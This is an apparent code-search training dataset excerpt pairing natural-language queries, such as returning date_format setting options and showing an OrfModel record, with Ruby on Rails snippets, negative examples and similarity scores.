"def show\n notify_notification_set_urgency(@notification, urgency)\n notify_notification_set_timeout(@notification, timeout || -1)\n set_hints\n notify_notification_show(@notification, nil)\n ensure\n clear_hints\n end",
"def clarification_options(sender, options={})\n options.merge({:type => :clarification_request, :sender => sender, :receiver => self.person, \n :clarifiable => self}.merge(options))\n end",
"def raw_notification_with_options(options = {})\n xml = Builder::XmlMarkup.new\n xml.instruct!\n xml.root { build_hash(xml, options) }\n [xml.target!, '3']\n end",
"def send_email_changed_notification?; end",
"def get_update\n \"Replacement status: #{replacement_status_type}\"\n end",
"def name\n\t\t\t\"notify\"\n\t\tend",
"def name\n\t\t\t\"notify\"\n\t\tend",
"def notify\n render :text => 'Ok, thank you.'\n end",
"def options\n render plain: ''\n end",
"def options\n render plain: ''\n end",
"def options\n render plain: ''\n end"
] |
[
"0.6050053",
"0.5751158",
"0.5661299",
"0.55503964",
"0.55464524",
"0.5511461",
"0.5509745",
"0.54960275",
"0.54883045",
"0.54687226",
"0.54348433",
"0.54084367",
"0.54008037",
"0.53999835",
"0.53223747",
"0.52933663",
"0.52825105",
"0.52367043",
"0.52354634",
"0.52270263",
"0.5225442",
"0.52224493",
"0.5201687",
"0.51932424",
"0.5174524",
"0.51572376",
"0.5156186",
"0.5154691",
"0.5152162",
"0.51474345",
"0.5125289",
"0.51042354",
"0.50879526",
"0.50712806",
"0.50650245",
"0.50650245",
"0.5048753",
"0.50423676",
"0.50415444",
"0.50360876",
"0.50246525",
"0.5018263",
"0.50157565",
"0.50155604",
"0.50037146",
"0.49878907",
"0.4986058",
"0.49834892",
"0.49711856",
"0.49568275",
"0.49431607",
"0.4943148",
"0.49429804",
"0.49428844",
"0.49428204",
"0.49386036",
"0.49342796",
"0.4932811",
"0.49320716",
"0.49290043",
"0.49228156",
"0.49206147",
"0.49055597",
"0.49041924",
"0.48965418",
"0.4896092",
"0.48923323",
"0.48923323",
"0.4886171",
"0.4883583",
"0.48724318",
"0.48666927",
"0.48664123",
"0.4863922",
"0.48637185",
"0.48629108",
"0.48613334",
"0.48613334",
"0.48580813",
"0.48566982",
"0.48563528",
"0.4854474",
"0.4854273",
"0.48524565",
"0.4852039",
"0.48498896",
"0.48434228",
"0.48431638",
"0.4835333",
"0.4829711",
"0.4827834",
"0.48221725",
"0.4821427",
"0.48213685",
"0.4819484",
"0.4819484",
"0.48184958",
"0.48163253",
"0.48163253",
"0.48163253"
] |
0.7223191
|
0
|
Returns the options for the date_format setting
|
def date_format_setting_options(locale)
Setting::DATE_FORMATS.map do |f|
today = ::I18n.l(User.current.today, :locale => locale, :format => f)
format = f.delete('%').gsub(/[dmY]/) do
{'d' => 'dd', 'm' => 'mm', 'Y' => 'yyyy'}[$&]
end
["#{today} (#{format})", f]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def date_format_options\n DATE_FORMATS.collect {|f| [\"#{Date.today.strftime(f)} - #{f}\", f]}\n end",
"def default_options_date_format(format)\n format || '%Y-%m-%d - %l:%M:%S%p'\n end",
"def date_format\n return @date_format\n end",
"def datepicker_options(format, value = nil)\n datepicker_options = {:value => value.try(:strftime, format), :input_html => {:class => 'ui-datepicker'}}\n end",
"def datetime_format\n end",
"def format_date\n if @opts[:as] == :select\n values = {}\n if v = @attr[:value]\n v = Date.parse(v) unless v.is_a?(Date)\n values[:year], values[:month], values[:day] = v.year, v.month, v.day\n end\n _format_date_select(values, @opts[:order] || DEFAULT_DATE_ORDER)\n else\n _format_input(:date)\n end\n end",
"def expected_format\n options[:expected_format] || 'yyyy-mm-dd'\n end",
"def typus_date_format(attribute = :default)\n options = read_model_config['fields']['options']\n if options && options['date_formats'] && options['date_formats'][attribute.to_s]\n options['date_formats'][attribute.to_s].to_sym\n else\n :default\n end\n end",
"def date_format=(value)\n @date_format = value\n end",
"def date_style\n @date_style if [:date, :date_range, :month_and_year, :only_year, :date_disabled].include? @date_style.to_sym\n end",
"def format_date options = {}\n dates = options[:start_date].strftime(\"%D\") if options[:start_date]\n dates << \" -- \" + options[:end_date].strftime(\"%D\") if options[:end_date]\n dates = \"N/A\" if !dates\n return dates\n end",
"def datetimepicker_options(format, value = nil)\n datetimepicker_options = {:value => value.try(:strftime, format), :class => 'ui-timepicker'}\n end",
"def datetime_format=(format)\n end",
"def datetime_format\n @default_formatter.datetime_format\n end",
"def datetime_format\n @default_formatter.datetime_format\n end",
"def options_for(_format)\n {}\n end",
"def date_format_set\n instance_variable_get(:\"@#{current_date_format}_date_format_set\")\n end",
"def option_format\n option_parser.on('-f', '--format NAME', 'output format') do |name|\n options[:format] = name\n end\n end",
"def set_date_format(format)\n @date_format = format\n end",
"def set_date_format(format) \n unless format.nil?\n return format\n else\n return @@db_format\n end\n end",
"def date_filter options\n # date search\n if date_present?(options[\"date_from\"]) || date_present?(options[\"date_to\"])\n from, to = date_set(options[\"date_from\"], options[\"date_to\"])\n options[\"f\"] = [] if !options.key?(\"f\")\n options[\"f\"] << \"date|#{from}|#{to}\"\n end\n options.delete(\"date_from\")\n options.delete(\"date_to\")\n [options, from, to]\n end",
"def format_date(options={})\n \t@date_type = options[:date_type]\n \t@start_date = options[:start_date]\n \t@end_date = options[:end_date]\n \t@due = options[:due]\n\n if @date_type == \"event\"\n \tdates = @start_date.strftime(\"%D\") if @start_date\n \tdates << \" -- \" + @end_date.strftime(\"%D\") if @end_date\n \tdates = \"N/A\" if !dates\n elsif @date_type == \"todo\"\t\t\t\n \tdates = @due ? @due.strftime(\"%D\") : \"No due date\" \n end\n \n return dates\n end",
"def typus_date_format(attribute = :default)\n Typus::Configuration.config[name]['fields']['options']['date_formats'][attribute.to_s].to_sym\n rescue\n :db\n end",
"def determine_and_set_format options\n options.format = @template_format = options.format || @template_format\n end",
"def update_date_formats!\n Date::DATE_FORMATS.update(\n :db => '%Y-%m-%d %H:%M:%S',\n :ui => '%d.%m.%Y',\n :yaml => '%Y-%m-%d', # For Dates\n :default => '%d.%m.%Y'\n )\n end",
"def typus_date_format(attribute = 'default')\n date_format = Typus::Configuration.config[self.name]['fields']['options']['date_formats'][attribute] rescue nil\n date_format = :db if date_format.nil?\n return date_format.to_sym\n end",
"def date_formats\n [\n '%m/%d/%Y', #'mm/dd/yyyy',\n '%m-%d-%Y', #'mm-dd-yyyy',\n '%m-%d-%y', #'mm-dd-yy',\n '%d/%m/%Y', #'dd/mm/yyyy',\n '%d-%m-%Y', #'dd-mm-yyyy',\n '%d-%m-%y', #'dd-mm-yy',\n '%a, %d %b %Y' #strftime, e.g. 'Sat, 10 Nov 2007'\n ]\n end",
"def datetime_format\n formatter.datetime_format if formatter.respond_to?(:datetime_format)\n end",
"def formats\n format\n end",
"def format_datelike_objects!(options)\n new_opts = {}\n options.map do |k,v|\n if v.respond_to?(:map)\n new_opts[k] = format_datelike_objects!(v)\n else\n new_opts[k] = v.respond_to?(:strftime) ? v.strftime(\"%d/%m/%Y\") : v\n end\n end\n new_opts\n end",
"def set_date_format(format)\n @date_format = format\n end",
"def formats\n @@formats\n end",
"def datetime_format_set\n instance_variable_get(:\"@#{current_date_format}_datetime_format_set\")\n end",
"def set_date_options\n @date_start = !@params[:date_start].blank? ? DateTime.parse(@params[:date_start]).to_date : Order.first_datetime.to_date\n @date_end = !@params[:date_end].blank? ? DateTime.parse(@params[:date_end]).to_date : Date.today\n @date_unit = @params[:date_unit] || 'month'\n @date_start_db = @date_start.to_datetime.to_s(:db)\n @date_end_db = @date_end.to_datetime.to_s(:db)\n\n case @date_unit\n when 'day'\n @date_values = date_range_to_single_dates(@date_start, @date_end)\n when 'week'\n @date_values = date_range_to_weeks(@date_start, @date_end).map { |d| d[0] }\n when 'month'\n @date_values = date_range_to_months(@date_start, @date_end)\n end\n end",
"def date_formats\n now = Time.now\n [:to_date, :to_datetime, :to_time].each do |conv_meth|\n obj = now.send(conv_meth)\n puts obj.class.name\n puts \"=\" * obj.class.name.length\n name_and_fmts = obj.class::DATE_FORMATS.map { |k, v| [k, %Q('#{String === v ? v : '&proc'}')] }\n max_name_size = name_and_fmts.map { |k, _| k.to_s.length }.max + 2\n max_fmt_size = name_and_fmts.map { |_, v| v.length }.max + 1\n name_and_fmts.each do |format_name, format_str|\n puts sprintf(\"%#{max_name_size}s:%-#{max_fmt_size}s %s\", format_name, format_str, obj.to_s(format_name))\n end\n puts\n end\nend",
"def date(options = {})\n res = \"\"\n res += \"#{I18n.localize(self.starts_at, :format => '%A %d')} de \" if options[:include_week_day] != false\n res += \"#{I18n.localize(self.starts_at, :format => '%B')} de \" if options[:include_month] != false\n # TODO: hack hack hack 20 min\n res += \"#{self.starts_at.strftime(\"%H:%M\")} a #{self.ends_at.strftime(\"%H:%M\")}\"\n end",
"def build_date_format params\n case params[:period_method]\n when \"daily\" then \"DD Mon YYYY\"\n when \"weekly\" then \"DD Mon YYYY\"\n when \"monthly\" then \"DD Mon YYYY\"\n when \"quarter\" then \"Mon YYYY\"\n when \"half\" then \"Mon YYYY\"\n when \"yearly\" then \"Mon YYYY\"\n when \"current_week\" then \"DD Mon YYYY\"\n when \"current_month\" then \"DD Mon YYYY\"\n when \"current_quarter\" then \"Mon YYYY\"\n when \"current_half\" then \"Mon YYYY\"\n when \"current_year\" then \"Mon YYYY\"\n end\n end",
"def evaluate_date_format_option(option, *args)\n value = self.send(option)\n case value\n when String\n args.first.strftime(value)\n when Symbol\n args.first.send(value)\n when Proc\n value.call(*args)\n else\n value\n end\n end",
"def formatDate(date, options={})\n if (options[:dateOnly]==true)\n return date.localtime().strftime(\"%d.%m.%Y\")\n else\n if (options[:showSeconds]==false)\n return date.localtime().strftime(\"%d.%m.%Y %H:%M\")\n else\n return date.localtime().strftime(\"%d.%m.%Y %X\")\n end\n end\n end",
"def getPostDateFormat\r\n\t\t\t\t\treturn @postDateFormat\r\n\t\t\t\tend",
"def getPostDateFormat\r\n\t\t\t\t\treturn @postDateFormat\r\n\t\t\t\tend",
"def format_datetime\n if @opts[:as] == :select\n values = {}\n if v = @attr[:value]\n v = DateTime.parse(v) unless v.is_a?(Time) || v.is_a?(DateTime)\n values[:year], values[:month], values[:day], values[:hour], values[:minute], values[:second] = v.year, v.month, v.day, v.hour, v.min, v.sec\n end\n _format_date_select(values, @opts[:order] || DEFAULT_DATETIME_ORDER)\n else\n _format_input('datetime-local')\n end\n end",
"def datetime_format=(format)\n add_datetime_formatter!(format)\n end",
"def all_options_for_period\n [\n [604800, 'last week'],\n [2592000, 'last month'],\n [7776000, 'last 3 months'],\n [31557600, 'last year'],\n [0, 'fixed range:']\n ]\n end",
"def _format_date_select(values, order)\n name = @attr[:name]\n id = @attr[:id]\n ops = DEFAULT_DATE_SELECT_OPS\n ops = ops.merge(@opts[:select_options]) if @opts[:select_options]\n first_input = true\n format = DATE_SELECT_FORMAT\n @opts[:select_labels] ||= {}\n order.map do |x|\n next x if x.is_a?(String)\n options = ops[x].map do |value, text|\n [text || sprintf(format, value), value]\n end\n opts = @opts.merge(:label=>@opts[:select_labels][x], :wrapper=>nil, :error=>nil, :name=>\"#{name}[#{x}]\", :value=>values[x], :options=>options)\n opts[:id] = if first_input\n first_input = false\n id\n else\n \"#{id}_#{x}\"\n end\n form._input(:select, opts).format\n end\n end",
"def date_select(field, options={}, &block)\n format_with_label(field, options.merge(:field_type => \"date\"), super(field, purge_custom_tags(options)), &block)\n end",
"def datetime_format=(datetime_format)\n @default_formatter.datetime_format = datetime_format\n end",
"def date_formats_by_unit\n #mysql format is always at first position, only one value if mysql and strftime are equivalent\n return ['%Y-%m-%d %H%i%s', '%Y-%m-%d %H%M%S'] if measured_in?(\"seconds\")\n return ['%Y-%m-%d %H%i', '%Y-%m-%d %H%M'] if measured_in?(\"minutes\")\n return ['%Y-%m-%d %H'] if measured_in?(\"hours\")\n return ['%Y-%m-%d']\n end",
"def getStartDateFormat\r\n\t\t\t\t\treturn @startDateFormat\r\n\t\t\t\tend",
"def format\n @format ||= self._format_default\n end",
"def default_format\n case input_type\n when :bootstrap_date\n I18n.t('date.formats.default')\n when :bootstrap_date_time\n I18n.t('time.formats.default')\n end\n end",
"def datetime_format\n @logger.first.datetime_format\n end",
"def formats\n self.class::FORMATS\n end",
"def default_options\n {\n \"Created Date Range\" => {:field_type => :date_range, :for => \"short_interaction_created_at\", :from => \"2012-03-01\".to_date, :to => Time.current},\n Institution => {:field_type => :select_tag, :has_dependencies => \"true\"},\n Provider => {:field_type => :select_tag, :dependency => '#institution_id', :dependency_id => 'parent_id'},\n Program => {:field_type => :select_tag, :dependency => '#provider_id', :dependency_id => 'parent_id'},\n }\n end",
"def calendar_date_select_process_options(options)\r\n calendar_options = {}\r\n callbacks = [:before_show, :before_close, :after_show, :after_close, :after_navigate]\r\n for key in [:time, :valid_date_check, :embedded, :buttons, :format, :year_range, :month_year, :popup, :hidden, :minute_interval] + callbacks\r\n calendar_options[key] = options.delete(key) if options.has_key?(key)\r\n end\r\n \r\n # if passing in mixed, pad it with single quotes\r\n calendar_options[:time] = \"'mixed'\" if calendar_options[:time].to_s==\"mixed\"\r\n calendar_options[:month_year] = \"'#{calendar_options[:month_year]}'\" if calendar_options[:month_year]\r\n \r\n # if we are forcing the popup, automatically set the readonly property on the input control.\r\n if calendar_options[:popup].to_s == \"force\"\r\n calendar_options[:popup] = \"'force'\"\r\n options[:readonly] = true \r\n end\r\n \r\n if (vdc=calendar_options.delete(:valid_date_check))\r\n if vdc.include?(\";\") || vdc.include?(\"function\")\r\n throw \":valid_date_check function is missing a 'return' statement. Try something like: :valid_date_check => 'if (date > new(Date)) return true; else return false;'\" unless vdc.include?(\"return\");\r\n end\r\n \r\n vdc = \"return(#{vdc})\" unless vdc.include?(\"return\")\r\n vdc = \"function(date) { #{vdc} }\" unless vdc.include?(\"function\")\r\n calendar_options[:valid_date_check] = vdc\r\n end\r\n \r\n calendar_options[:popup_by] ||= \"this\" if calendar_options[:hidden]\r\n \r\n # surround any callbacks with a function, if not already done so\r\n for key in callbacks\r\n calendar_options[key] = \"function(param) { #{calendar_options[key]} }\" unless calendar_options[key].include?(\"function\") if calendar_options[key]\r\n end\r\n \r\n calendar_options[:year_range] = format_year_range(calendar_options[:year_range] || 10)\r\n calendar_options\r\n end",
"def file_format\n options[:file_format] || Config.file_format\n end",
"def format\n @format ||= {}\n end",
"def default_options\n { \n \"Created Date Range\" => {:field_type => :date_range, :for => \"created_at\", :from => \"2012-03-01\".to_date, :to => Time.current},\n \"Account Status\" => {:field_type => :check_box_tag, :for => 'approved', :multiple => {1 => \"Active/Approved\", 0 => \"Deactivated\"},\n :selected => [\"Active/Approved\"]},\n }\n end",
"def date_url_format\n '%Y-%m-%d'\n end",
"def datetime_format=(datetime_format)\n @default_formatter.datetime_format = datetime_format\n end",
"def datetime_format\n @loggers.each do |logger|\n return logger.datetime_format if logger.respond_to?(:datetime_format)\n end\n end",
"def date_page_format\n '%B %d, %Y'\n end",
"def build_formatter_options(formatter, column_def)\r\n r = {}\r\n if formatter == :function\r\n r[:formatter_function] = column_def[:formatter_function]\r\n end\r\n r\r\n end",
"def format_options(options)\n return if options.blank?\n options[:fields] = format_fields(options[:fields]) if options.has_key?(:fields)\n options[:limit] = options[:limit] if options.has_key?(:limit)\n options[:pageindex] = options[:page] if options.has_key?(:page)\n options[:q] = options[:q] if options.has_key?(:q)\n options[:wField] = options[:wField] if options.has_key?(:wField)\n options[:wOperator] = options[:wOperator] if options.has_key?(:wOperator)\n options[:wValue] = options[:wValue] if options.has_key?(:wValue)\n\n return options\n end",
"def options_formatted(options = {})\n options.delete_if { |k, v| v.nil? }\n mod_options = MODULES.map { |mod| mod.options_formatted(options) }\n formatted_options = mod_options.inject(:merge)\n [:flags, :output_path].each do |option|\n formatted_options[option] = options[option] unless options[option].nil?\n end\n formatted_options\n end",
"def date\n dreport.date_format\n end",
"def create_datetime_options(attrs, method = nil)\n values = if (time = attrs[:value])\n case time\n when Time, DateTime\n { :day => time.day,\n :month => time.month,\n :year => time.year,\n :hour => time.hour,\n :minute => time.min }\n when Date\n { :day => time.day,\n :month => time.month,\n :year => time.year }\n end\n end\n\n datetime_options.inject({}) do |h, (suffix, defaults)|\n h[suffix] = defaults.merge(attrs).merge(\n :id => '%s_%s' % [attrs[:id] || attrs[:name], suffix],\n :name => '%s[%s]' % [attrs[:name] || attrs[:id], suffix],\n :value => values && values[suffix]\n ) ; h\n end\n end",
"def connection_configuration_sqls\n sqls = super\n sqls << \"SET DateStyle = 'ISO'\" if @use_iso_date_format\n sqls\n end",
"def formats\n attributes.fetch(:formats)\n end",
"def default_options\n {\n \"Date Range\" => {:field_type => :date_range, :for => \"created_at\", :from => \"2012-03-01\".to_date, :to => Date.today},\n SystemSurvey => {:field_type => :select_tag, :custom_name_method => :report_title, :required => true},\n \"Include Pending Responses\" => { field_type: :check_box_tag, for: \"show_pending\" }\n }\n end",
"def version_formats\n self.class::VERSION_FORMATS\n end",
"def date_format t\n t.strftime \"%Y/%m/%d\"\n end",
"def event_calendar_opts(calendar)\n { \n :year => @calendar.year,\n :month => @calendar.month,\n :event_strips => @calendar.event_strips,\n :month_name_text => I18n.localize(@calendar.date, :format => \"%B %Y\"),\n :previous_month_text => month_link(@calendar.date.last_month),\n :next_month_text => month_link(@calendar.date.next_month),\n :use_all_day => true\n }\n end",
"def event_calendar_options\n { \n :year => @year,\n :month => @month,\n :event_strips => @event_strips,\n :month_name_text => @shown_month.strftime(\"%B %Y\"),\n :previous_month_text => \"<< \" + month_link(@shown_month.last_month),\n :next_month_text => month_link(@shown_month.next_month) + \" >>\",\n :event_width => 110\n }\n end",
"def display display_mode = DISPLAY_NORMAL_MODE, format = DEFAULT_FORMAT\n output = []\n\n format.split(DELEMETER).each do |abbr|\n output.push \"w#{week_number}\" if abbr == 'ww'\n output.push \"#{year.number}\" if abbr == 'yyyy' && [DISPLAY_NORMAL_MODE].include?(display_mode)\n end\n\n period = \"#{from_date.strftime('%d.%m.%Y')} - #{to_date.strftime('%d.%m.%Y')}\" if display_mode == DISPLAY_ADVANCED_MODE\n\n period ? output.join(\"-\") + ' ' + period : output.join(\"-\")\n end",
"def event_calendar_options\n { \n #year: @year,\n #month: @month,\n first_day_of_week: 1,\n width: 300,\n height: 350,\n #event_strips: @event_strips,\n #month_name_text: I18n.localize(@shown_month, :format => \"%B %Y\"),\n #previous_month_text: \"<< \" + month_link(@shown_month.prev_month),\n #next_month_text: month_link(@shown_month.next_month) + \" >>\"\n }\n end",
"def formats\n TEXT_FORMATS\n end",
"def get_options; end",
"def use_dates\n @use_dates || true\n end",
"def event_calendar_opts\n {\n\n :year => @year,\n :month => @month,\n :abbrev => true,\n :first_day_of_week => 1, # See note below when setting this\n :show_today => true,\n :show_header => true,\n :month_name_text => @shown_month.strftime(\"%B %Y\"),\n :previous_month_text => \"<< \" + month_link(@shown_month.prev_month),\n :next_month_text => month_link(@shown_month.next_month) + \" >>\",\n :event_strips => @event_strips,\n\n # it would be nice to have these in the CSS file\n # but they are needed to perform height calculations\n\n :use_all_day => true,\n :use_javascript => true,\n :link_to_day_action => \"day\"\n\n\n }\n end",
"def get_select_format\n \treturn @OFFER_TYPES.map{|v| [v,v]}\n end",
"def format_date(date)\n return prefs.format_date(date)\n end",
"def format_date(date)\n return prefs.format_date(date)\n end",
"def formats; end",
"def formats; end",
"def parse_format_option(args, options, format)\n return unless args.has_key? format\n\n options[format] = !(args[format] == 'false' || args[format].empty?)\n return unless options[format]\n\n options[:path] = args[format] == 'true' ? nil : args[format]\n end",
"def call(format_type: DEFAULT_NEWS_FORMAT_TYPE)\n self.combined_options = defaults.merge(\n format_type: validate_format_type(format_type)\n )\n super\n end",
"def formats=(values); end",
"def calendar_includes(options = {})\n iso639_locale = options[:locale] || I18n.locale.to_s\n CalendarDateSelect.format = options[:format] || :italian\n calendar_date_select_includes \"ubiquo\", :locale => iso639_locale\n end",
"def datetime_format\n /^\\d{4}-\\d{2}-\\d{2}\\w\\d{2}:\\d{2}:\\d{2}/\n end",
"def calendar_date_select_process_options(options)\n options, javascript_options = CalendarDateSelect.default_options.merge(options), {}\n image = options.delete(:image)\n callbacks = [:before_show, :before_close, :after_show, :after_close, :after_navigate]\n for key in [:time, :valid_date_check, :embedded, :buttons, :clear_button, :format, :year_range, :month_year, :popup, :hidden, :minute_interval] + callbacks\n javascript_options[key] = options.delete(key) if options.has_key?(key)\n end\n\n # if passing in mixed, pad it with single quotes\n javascript_options[:time] = \"'mixed'\" if javascript_options[:time].to_s==\"mixed\"\n javascript_options[:month_year] = \"'#{javascript_options[:month_year]}'\" if javascript_options[:month_year]\n\n # if we are forcing the popup, automatically set the readonly property on the input control.\n if javascript_options[:popup].to_s == \"force\"\n javascript_options[:popup] = \"'force'\"\n options[:readonly] = true\n end\n\n if (vdc=javascript_options.delete(:valid_date_check))\n if vdc.include?(\";\") || vdc.include?(\"function\")\n raise ArgumentError, \":valid_date_check function is missing a 'return' statement. Try something like: :valid_date_check => 'if (date > new(Date)) return true; else return false;'\" unless vdc.include?(\"return\");\n end\n\n vdc = \"return(#{vdc})\" unless vdc.include?(\"return\")\n vdc = \"function(date) { #{vdc} }\" unless vdc.include?(\"function\")\n javascript_options[:valid_date_check] = vdc\n end\n\n javascript_options[:popup_by] ||= \"this\" if javascript_options[:hidden]\n\n # surround any callbacks with a function, if not already done so\n for key in callbacks\n javascript_options[key] = \"function(param) { #{javascript_options[key]} }\" unless javascript_options[key].include?(\"function\") if javascript_options[key]\n end\n\n javascript_options[:year_range] = format_year_range(javascript_options[:year_range] || 10)\n [image, options, javascript_options]\n end",
"def date_format(date, options={})\n format = options[:format] || :long\n# puts 'date_format on ' + date.class.name + \" --- \" + date.inspect\n user ||= @current_user\n return '' if date.nil?\n date = Time.parse(date) if date.is_a?(String)\n if date.is_a?(Date) && !date.is_a?(DateTime) && !date.is_a?(Time)\n return date.to_formatted_s(format)\n end\n return date.to_local_s(user, :format=>format)\n end",
"def update_time_formats!\n Time::DATE_FORMATS.update(\n :db => '%Y-%m-%d %H:%M:%S',\n :ui => '%d.%m.%Y %H:%M',\n :yaml => '%Y-%m-%d %H:%M:%S %:z', # For DateTimes\n :default => lambda do |time|\n non_zero_time = time.hour != 0 || time.min != 0 || time.sec != 0\n time.strftime(non_zero_time ? '%d.%m.%Y %H:%M' : '%d.%m.%Y')\n end\n )\n end",
"def default_format\n @default_format ||= :html\n end",
"def default_options\n {\n \"Date Range\" => {:field_type => :date_range, :for => \"service_requests_submitted_at\", :from => \"2012-03-01\".to_date, :to => Time.current},\n Institution => {:field_type => :select_tag, :has_dependencies => \"true\"},\n Provider => {:field_type => :select_tag, :dependency => '#institution_id', :dependency_id => 'parent_id'},\n Program => {:field_type => :select_tag, :dependency => '#provider_id', :dependency_id => 'parent_id'},\n Core => {:field_type => :select_tag, :dependency => '#program_id', :dependency_id => 'parent_id'},\n }\n end",
"def datetime_format=(datetime_format)\n formatter.datetime_format = datetime_format if formatter.respond_to?(:datetime_format=)\n end",
"def template\n if self.style == 'mmyy'\n 'date_field_mmyy'\n else\n 'date_field'\n end\n end",
"def event_calendar_opts\n { \n :year => @year,\n :month => @month,\n :event_strips => @event_strips,\n :month_name_text => @shown_month.strftime(\"%B %Y\"),\n :previous_month_text => \"<< \" + month_link(@shown_month.last_month),\n :next_month_text => month_link(@shown_month.next_month) + \" >>\",\n :first_day_of_week => @first_day_of_week,\n :abbrev => (0..-1),\n :event_height => 18,\n :event_margin => 2,\n :event_padding_top => 3,\n :use_javascript => true,\n :use_all_day => true\n }\n end",
"def format\n if !self[:value].nil?\n formats = self[:value].delete(:format)\n options = self[:value].delete(:option)\n df_value = self[:value].delete(:default_value)\n\n self[:value] = {}\n self[:value][:format] = formats\n self[:value][:option] = {}\n if !options.nil?\n options.keys.each {|k| self[:value][:option][k.to_sym] = options[k] if self[:value][:option][k.to_sym].nil?}\n end\n self[:value][:default_value] = df_value\n end\n self[:value] ||= {}\n self[:value][:format] ||= :number\n self[:value][:format].to_sym\n end",
"def event_calendar_opts\n {\n :year => @year,\n :month => @month,\n :event_strips => @event_strips,\n :month_name_text => I18n.localize(@shown_month, :format => \"%B %Y\"),\n :previous_month_text => \"<< #{month_link(@shown_month.prev_month)}\",\n :next_month_text => \"#{month_link(@shown_month.next_month)} >>\",\n :use_all_day => true\n }\n end"
] |
[
"0.8548332",
"0.77671754",
"0.72053105",
"0.71642554",
"0.6801605",
"0.6669466",
"0.6666883",
"0.6627941",
"0.66279304",
"0.65945774",
"0.6588877",
"0.6540272",
"0.6439241",
"0.6423599",
"0.6423166",
"0.63802356",
"0.6343782",
"0.63327307",
"0.63242227",
"0.63144076",
"0.62951744",
"0.62946314",
"0.6222539",
"0.6209936",
"0.6205631",
"0.61479515",
"0.61447144",
"0.606881",
"0.6053881",
"0.602585",
"0.6011964",
"0.59912133",
"0.5962095",
"0.59337854",
"0.5925216",
"0.5884169",
"0.58812505",
"0.58361655",
"0.58094954",
"0.58019495",
"0.58019495",
"0.5786525",
"0.5757125",
"0.5745894",
"0.5743828",
"0.56869787",
"0.5663897",
"0.5663184",
"0.56413835",
"0.56315714",
"0.56201184",
"0.5589296",
"0.5579293",
"0.5575514",
"0.5566283",
"0.5565788",
"0.55649203",
"0.5554293",
"0.55319446",
"0.5530052",
"0.5523022",
"0.55209064",
"0.5512021",
"0.5499544",
"0.54929787",
"0.5488095",
"0.5483561",
"0.5458127",
"0.5424675",
"0.5423813",
"0.54133236",
"0.5405509",
"0.5404142",
"0.540247",
"0.5402426",
"0.5375803",
"0.5365382",
"0.53550935",
"0.53514487",
"0.5337593",
"0.53249377",
"0.5316892",
"0.5316892",
"0.5316267",
"0.5316267",
"0.5309404",
"0.53011346",
"0.5299474",
"0.5298393",
"0.5289699",
"0.52876925",
"0.52813464",
"0.5261671",
"0.5255851",
"0.52543306",
"0.5248446",
"0.5241493",
"0.52412915",
"0.5234202",
"0.52268994"
] |
0.7815651
|
1
|
GET /orf_models/1 GET /orf_models/1.json
|
def show
@orf_model = OrfModel.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @orf_model }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def model\r\n\t\t\t@model ||= json['model']\r\n\t\tend",
"def index\n @oid_models = OidModel.all\n end",
"def get_model\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/response/model'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n Person.from_hash(decoded)\n end",
"def index\n\t @models = @model.get_many\n\t respond_to do |format|\n\t format.json do \n\t render json: @models.to_json\n\t end\n\t format.html do \n\t \trender :index\n\t end\n\t end\n\tend",
"def show\n @model = Model.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model.to_json(\n :only =>[],\n :methods => [:dg_model_id, :model_make_id, :model_number, :model_description, :model_active, :dg_last_update])}\n end\n end",
"def index\n @models = Model.all\n end",
"def index\n @models = Model.all\n end",
"def index\n @auto_models = AutoModel.all\n end",
"def index\n @models = Model.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @models }\n end\n end",
"def index\n models = Model.all.to_json(:include => {:model_types => {:only => [:name], :methods => [:total_price]}}, :only => [:name]) \n respond_to do |format|\n format.json { render json: {models: JSON.parse(models)} , location: @model_type }\n end\n end",
"def index\n @entities = Entity.find(:all, :limit=>100)\n EntitiesHelper.setModelGraph(\"public/UMLmodel.png\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entities }\n end\n end",
"def index\n @models = ClientService.all\n end",
"def getOrden \n \t@orden = Orden.where(:rest => params[:id_res])\n \trender json: @orden\n end",
"def model\n @model ||= resource.model\n end",
"def show\n @models = self.class.model_class.find(self.class.ids_from_param(params[:id]))\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @models }\n format.json { render :json => @models }\n end\n end",
"def index\n @ordens = Orden.all\n render json: @ordens\n end",
"def show\n @operation = Operation.find(params[:id])\n @model = Model.find(params[:model_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @operation }\n end\n end",
"def index\n authorize @model, :index?\n\n # @collection = @model.all\n\n render json: Oj.dump(\n collection: @model.all\n )\n end",
"def show\n\n @model = Model.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model }\n end\n end",
"def index\n @models = self.class.model_class.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @models }\n end\n end",
"def show\n @model = Model.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model }\n end\n end",
"def show\n @model = Model.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model }\n end\n end",
"def show\n @model = Model.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model }\n end\n end",
"def model\n end",
"def find_bridge_models(params={}, headers=default_headers)\n @logger.info(\"Find Bridge models.\")\n get(\"#{@api_url}/models\", params, headers)\n end",
"def model(options={})\n get_location\n # TODO: validate options\n @params[:model] = FEATURE_DEFAULTS[:model].merge(options)\n @params[:model][:generate] = true\n end",
"def jsonapi_model_type\n\t\t\t\t\tjsonapi_model_class_name.underscore.pluralize.to_sym\n\t\t\t\tend",
